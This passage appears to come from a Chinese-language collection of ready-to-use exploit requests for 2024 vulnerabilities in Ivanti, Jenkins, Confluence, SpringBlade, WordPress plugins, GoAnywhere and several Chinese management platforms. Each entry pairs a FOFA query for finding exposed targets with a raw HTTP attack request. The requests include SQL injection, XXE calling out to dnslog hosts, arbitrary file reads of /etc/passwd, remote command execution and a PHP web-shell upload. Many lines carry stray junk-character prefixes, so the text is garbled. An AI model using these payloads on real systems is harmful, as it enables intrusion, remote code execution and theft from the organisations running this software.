9 L. l2 R9 U4 k# C9 B- e! z7 X! H  ~FOFA：body="welcome.cgi?p=logo"
* w; C2 K8 f/ O7 M  b& h! x2 {9 FPOST /dana-ws/saml20.ws HTTP/1.1
4 g: Z4 l1 z) V! S. }( BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  n& M# _  F2 u, |Connection: close
: n1 b( x# Y+ JContent-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

9 N4 r2 w+ Q# h% G! k103. Ivanti Pulse Connect Secure VPN XXE
3 n9 N) q( N! |: |; uCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
) u) q! ~- F+ S4 ^6 m+ @1 Y: mHost: 192.168.40.130:111
( y9 j& V! B8 s( l( a7 [- bUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
) f; H: G. j- A7 FConnection: close
9 s1 _! Z% J# K2 I* R1 QContent-Length: 204
# P- f* o( i, b) T! p1 ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! @0 L4 V- k3 o" f
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

# c! s5 N# D) G. A3 v
7 w, @( n9 Q  h- n其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
, X1 m4 w9 P7 t( ]6 R$ O<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

4 k5 r8 F5 r1 r. @0 `' ]
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
1 I( G% E" g4 `4 ~FOFA：title="TOTOLINK"
/ D4 ^( R) E, O' f% tPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
% b) _( X2 ]( N0 ?! nX-Requested-with: XMLHttpRequest
# E0 @2 S2 _4 z% vUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
5 R* P% v. u; G5 E. w1 EContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

+ A% d+ [9 b' b6 |{
: L* t9 R2 r# P6 k: U1 C. v"topicurl":"getSysStatusCfg",
"token":""
/ @' W5 H  i. k& r: P}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
0 Y7 {+ f. @. Z( n2 j# BFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
* N7 ~# P8 H( a+ f8 F9 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 a+ p+ o% p8 d7 a% i1 E% xBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
5 u8 N/ P& N1 e7 i% KAccept-Language: zh-CN,zh;q=0.9
' a, |( r& N3 W8 o+ q2 P7 OConnection: close
$ T: J- j& W! ^" a7 Q; k
* x* v7 w& @# W7 Z7 D5 S  T$ P, ?0 F
107. SpringBlade tenant/list SQL 注入
/ k2 [  r7 X7 d* [* }FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
+ {2 i: L0 Y' L9 h6 RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ L9 `1 Z$ G% mBlade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
$ y* J5 V- ^% E# L2 \8 r( I3 ]CVE-2024-21642
* m/ ^4 A6 ?, H6 U/ _# |# d" PFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
9 h+ X, j* H* q  ^) O9 cAccept: application/json, text/plain, */*
' q9 ^$ ^* X* P( p# Q5 c5 \0 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ _: ^- T; ^4 h* q6 a2 UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


109. Jenkins CLI 任意文件读取
: u9 p# u9 t1 |" w$ [CVE-2024-23897
- w" F! F8 h6 ?6 Z/ cFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
9 d3 A& n4 V( U' `Content-type: application/octet-stream
) D2 [9 ~& e  T/ ~- ^3 @  f5 x# fSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
: t' s) |! I' Y( f- y# ~Side: upload
Connection: keep-alive
9 E0 [% x9 |: b* n  UContent-Length: 163
& I5 u$ i/ G: p" E6 V# S7 E, D
( {5 }5 E3 i# e! S1 fb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

4 h& r: U4 T, Z2 k* G
POST /cli?remoting=false HTTP/1.1
8 @" y$ J9 M0 q5 F' S0 MHost:
' r% h# U- Z: @7 X+ Z& u% |Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
7 \( k) r" l1 l# [5 K' q/ ~: O! DContent-Type: application/x-www-form-urlencoded
Content-Length: 0

+ z) P% z* z+ ~
2 O- {2 H2 B; V$ |2 \- ~2 `* nERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
: R3 [9 d" o7 }, G4 |- Ljava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

3 K" ]0 A/ O7 D6 L1 o% b7 a
8 M0 F! |: Q. x# A; x6 Q/ V110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
2 b9 b+ ^; ~& r, pFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
  C( u2 S0 V& J' v" J0 y3 qFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( o1 h, J1 D5 M- b, C6 dConnection: close
Accept: */*
/ u8 o9 e/ |; w5 G# n) ~6 Q4 uAccept-Language: en
: Z( |2 y  r1 ~1 n& X, O; l0 C7 [Accept-Encoding: gzip
+ Z* |! K9 Y: Q& i" U$ k

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
7 \% y! j- u2 ZFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
2 W6 W+ l2 Y4 n' \8 ~Content-Type: application/json
! e4 L3 X6 e* M( E# g) O8 E& ?
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
( X5 h1 b3 j8 X1 @

3 {+ W2 ~. L: H113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
; y* G9 ^$ |2 ~3 p/ iFOFA："/wp-content/plugins/wp-automatic"
  m1 j" H& ~- k# D6 GGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
: }! r) o; R; K+ ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
9 @" \& k  q% I8 aAccept: */*
. x# Y% p' A' j' o, l  pAccept-Language: en
) y. E4 u5 E2 x- C/ t$ w" SAccept-Encoding: gzip

9 _4 E. F8 `' i3 _' U. q$ j
, f. H: T6 K2 C- G( O: L114. WordPress MasterStudy LMS插件 SQL注入
' g, G' u6 p0 v, B  V+ K" YFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
* h# Z8 Q. \: u( [0 t4 jGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 u, n" Q* M! fAccept-Charset: utf-8
+ T) A: d6 `+ n; \  k: O+ K/ _Accept-Encoding: gzip, deflate
Connection: close


+ J4 O# l5 V; `7 C5 R8 o% b; `9 Z115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
, d" q2 x3 Y. X% d6 G5 x: n3 JFOFA: body="/wp-content/themes/bricks/"
: o3 t" h3 W4 P+ g第一步，获取网站的nonce值
7 n- N1 C6 p" [7 c0 [GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 G5 q- ~! W7 [( y5 ~7 ^( CConnection: close
# T* N. q8 f: D* B5 k3 P" s9 ^! WAccept-Encoding: gzip
& t5 t/ S/ C$ h: U% h) C
; G. B# W: z0 R
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
6 |; o: b( A  U2 V2 [! v3 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% s9 l8 i4 R  c$ q+ b( m! |Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

' I6 C5 o# j( X6 z* Z, N9 \& c$ N{
"postId": "1",
  "nonce": "第一步获得的值",
$ z( g+ V" X% }" p# M6 ~( [  "element": {
5 }( M( u. {) D5 v& \4 O    "name": "container",
    "settings": {
) m; `6 F# w* V- C      "hasLoop": "true",
; N/ O% F( _. L) D# B8 f      "query": {
        "useQueryEditor": true,
, ^4 m$ T# g0 C        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
( |5 s) O$ o7 o' `0 b      }
3 W" C, R6 d: @" f, m+ T    }
  }
  A0 p, v7 I+ O( M+ N! h3 h5 A  h}


116. wordpress js-support-ticket文件上传
2 Y! p2 ^" e, {. @5 ^FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
0 U+ e$ `% i8 |6 C9 {- _; ^Host:
* \! L+ r+ X; RContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
5 t) ^: h3 R& p7 l% A
% I3 x; e: G! R----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
9 t5 G/ ?% a4 |1 g9 P( |----------767099171
: M- Q# @3 t8 t8 NContent-Disposition: form-data; name="form_request"
jssupportticket
0 Y" B8 n  \- e2 i----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--

# Y/ w' n7 Z2 ]1 R7 e
' V* {, y, B# ^" b117. WordPress LayerSlider插件SQL注入
8 ^0 [' B9 ?' Z+ k) y4 Hversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
6 V* G- I: @6 y  \9 [; lGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
5 a/ P* n) `: G' _# ?" K6 DHost: your-ip
9 {5 t& }( s! o  C8 r! D7 F" XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: t0 [9 ^' s' D+ Q; b# WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
6 Z7 n! B, V/ ZPOST /Tool/uploadfile.php? HTTP/1.1
4 k- M! _8 W  A* d# P/ |Host: 192.168.40.130:8443
/ I6 e) G' w" x! j+ X3 z6 q# yCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ M. J4 C" g/ s' xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' V6 @- @& s+ k9 U. p4 WAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
( }7 g7 ?; i3 u% l9 MContent-Length: 405
, n) ], I. O' |& @# y: hOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
: G$ ]- N2 n  }  @Upgrade-Insecure-Requests: 1
" }0 M5 R) U: e5 ySec-Fetch-Dest: document
4 P: G5 X" E" I  I" Z7 X7 @Sec-Fetch-Mode: navigate
. f" s1 f/ B, ]8 _5 G7 z1 g# qSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
4 n. [6 k* ]- h- r+ ]Connection: close

: `0 q. w8 R% H" c-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
; @. z  l) v9 W1 A* A( i, t/ s
<?php
system($_POST["passwd"]);
?>
. M" N. J. m( A/ K2 X9 N6 E-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

" f+ {; B5 e% O0 B/ t/home/src.php
- s( G$ k* |1 u" e5 ~$ }-----------------------------13979701222747646634037182887--
3 y% Z' x- I* t% Y3 @, W8 b

$ ^  u( `* p- P* p) i8 ?访问/home/src.php

# F( a% l1 p& _0 N119. 北京百绰智能S20后台sysmanageajax.php sql注入
2 z8 {% \; p: Y) O; Q% `8 ]% c9 c' yCVE-2024-1254
: E) p) w5 R5 y, R2 G/ r7 b/ _: ~FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
7 L' }# t, E& j* T- UPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
$ c7 d; c( S# A/ v8 L8 t9 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 T: v( Z4 o7 B/ o# i6 P" K/ KAccept-Encoding: gzip, deflate
! v1 A1 K+ K1 ?- ^( i- C- C6 PContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
# Q) X6 {5 s! p* A- P* r& Q$ l9 RSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
; F: Y6 J, c. b2 d/ `9 lX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
0 g& r+ H- ?: E& Z4 j  i$ m& ]8 NTe: trailers
% k4 \" A: g( k4 S, X/ w" ~, Q: \Connection: close
$ ]( a+ J) M* I" i
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


6 n  m; [' Z  S$ ?2 ^120. 北京百绰智能S40管理平台导入web.php任意文件上传
1 X1 q1 ?& p" f  D/ e% B1 RCVE-2024-1253
, }9 y+ v) G2 C8 o9 x5 eFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
7 R3 ?- t. Q& N1 T8 D/ v9 D6 TCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
+ `, @1 W; C3 d3 i0 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ n7 v" W. j7 B$ s2 H7 zAccept-Encoding: gzip, deflate
- b. H6 C  g8 }2 U$ ]# ^6 J+ KContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
2 h; Q3 s  R8 q  m' r; LReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
, v, M4 z, j8 p) i6 ]) a, ~' {2 G" `+ GSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
7 n9 `, e  B* T+ I9 {# M3 bSec-Fetch-User: ?1
! I' F( _& U& ^. i+ R" j" ATe: trailers
3 S+ ?; A0 |" x& y# |' U% cConnection: close
# ^: ?% x$ w' g# {& B
: \7 J, N8 g6 H% I$ Z- v8 @-----------------------------42328904123665875270630079328
; @3 ]( |5 {- I6 P9 I& ?- PContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

1 q) c" I( \. H% R<?php phpinfo()?>
$ p/ D' E# H; C+ c3 U0 k-----------------------------42328904123665875270630079328
0 Q( a6 g$ X7 j0 H$ k% O1 V5 YContent-Disposition: form-data; name="id_type"
4 C0 y* q; r, K5 d
* A  b6 i4 o, Y) t$ Y( o1
-----------------------------42328904123665875270630079328
7 i- K. f0 }8 gContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
( T6 m) E# N. _0 d2 u/ ZContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328
% m3 k1 o: @. f: Z- p8 X

' D4 q) L: h/ }. g- h文件路径/upload/2.php
) D3 s$ w  v0 [' G9 G" h, c
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
2 b: k6 z, ~7 N4 ~CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
2 Y) V; Z4 @; ~: b6 I' J- lHost: 192.168.40.130:8443
/ O& Q1 J+ g& g" O1 r, ]Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: b" M9 Y1 K: L  C) eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! \! V+ U% G9 S; x2 Q+ ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 N; m' x9 p( I" ~Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
3 {' c# e  m/ V; `9 QSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
4 w( b, b, t& P# D" @$ k7 [Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
+ \! ?2 S3 @: p. c9 @2 ?+ T2 K* RConnection: close
. z. c" Z- x. X- O
4 _: O/ ~1 R7 ?9 |% `-----------------------------42328904123665875270630079328
, H. F$ l0 e$ Y2 a7 HContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
' q: I/ ?: K( q6 A5 H6 ^9 }8 q# v- H
<?php phpinfo();?>
1 d' q( O1 a! @% e! j' d- c% i, r-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
/ `* F4 ^8 |5 t1 E/ r
1
) e1 [& o& d; r4 X# p-----------------------------42328904123665875270630079328
4 R/ A+ ]: {+ ~. \, P' pContent-Disposition: form-data; name="1_ck"
* G' Z1 q( v# y+ b: v. V0 T+ c
* E$ u8 x" ~( }1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
. S- j& C. k3 {# g
set
2 P% |6 h# j2 b* e$ ?: P/ R-----------------------------42328904123665875270630079328
1 v2 G" o9 z0 [" @

6 _! h8 e6 V' Z1 m; Z# |boot/web/upload/weblogo/1.php
; x6 L0 w4 J8 G. v4 c0 ^# p
% J1 K  r7 G1 k! P7 J5 A& h" l5 q122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
+ M6 m0 b) z* ^9 F0 P8 o: {GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
( T1 k4 p9 J9 SHost: x.x.x.x
0 |1 c2 E1 ]! k  D4 K; a% bCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, E1 w* M1 ~. t, d4 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# u" r1 ~2 R- k9 i3 C( eSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
6 |3 ^2 A$ z% m& }- s% K% FSec-Fetch-User: ?1
/ H6 N- n% D( k6 y. OTe: trailers
: y3 T! I3 F* H2 FConnection: close
6 p. G6 q) @. m0 k
3 ?5 |" Y8 K4 @, ~, Q" Q8 |/ \$ t
2 e6 G, S; p# O  H5 |123. Atlassian Confluence 模板注入代码执行
6 P7 R1 S3 x; [# M, {# f% pFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
/ b; ]$ k7 u) NPOST /template/aui/text-inline.vm HTTP/1.1
& d" H% i- c& |% b% U6 `; T/ f; mHost: localhost:8090
- P) f- }. ^# p* u5 mAccept-Encoding: gzip, deflate, br
Accept: */*
- n' m! @& f5 W; V' d2 sAccept-Language: en-US;q=0.9,en;q=0.8
' ^' B, c/ Y/ I3 M7 q# pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
1 R+ N* G$ P' Q! xConnection: close
5 Y& p8 _. o: {2 U  p' NContent-Type: application/x-www-form-urlencoded

5 Q. t& m  S7 blabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
8 l  t. z* O9 H) i+ q" P
- k$ i. h: S  J" g7 b) y
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
- Z! R" J9 W0 Y1 |: W& wPOST /Scripts/admintool?type=updatefile HTTP/1.1
) ]$ @, g# Y" j( p! B* ~9 lHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 _& k4 x2 @; j( A: I0 |Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
% ^- g! |% z* }! qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% w: o# ]8 s2 H7 g5 k5 _# h( ]Connection: close
3 x* k1 M) E$ ~9 ~, |7 xContent-Type: application/x-www-form-urlencoded
- @1 a* ]5 B9 m' a& n# }
7 H- u7 c; p& r& U5 M2 A  kfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
) ^+ ~3 U5 O9 B1 \4 Y

http://192.168.40.130:8282/Scripts/abcgcg.aspx
- G- |+ J1 Q) f; ~
125. ConnectWise ScreenConnect身份验证绕过
1 X8 g; o  k: ZCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
8 G9 H0 R  r5 `( `! X

3 v8 O0 o8 R' U, L% W使用方法
* b  M& P7 ~& z! h" O8 l' c" E2 Spython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
1 U) s( g  |( {  B8 N  r
3 p* {" R& P: ~( {- `7 r, H$ m% \; H126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
& O  g; u7 l2 k" VGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
# `$ e! s& M/ y* J$ v3 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
6 y. |! b5 d9 S5 n1 lAccept-Language: en
! N% s6 ]5 U* }! K! V( d! dAccept-Encoding: gzip

7 y1 q. R+ p) k9 _! u
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
4 i- x4 m/ v, I, {POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" m$ J% k/ \! K- R/ ^& SHost: 192.168.40.130:8888
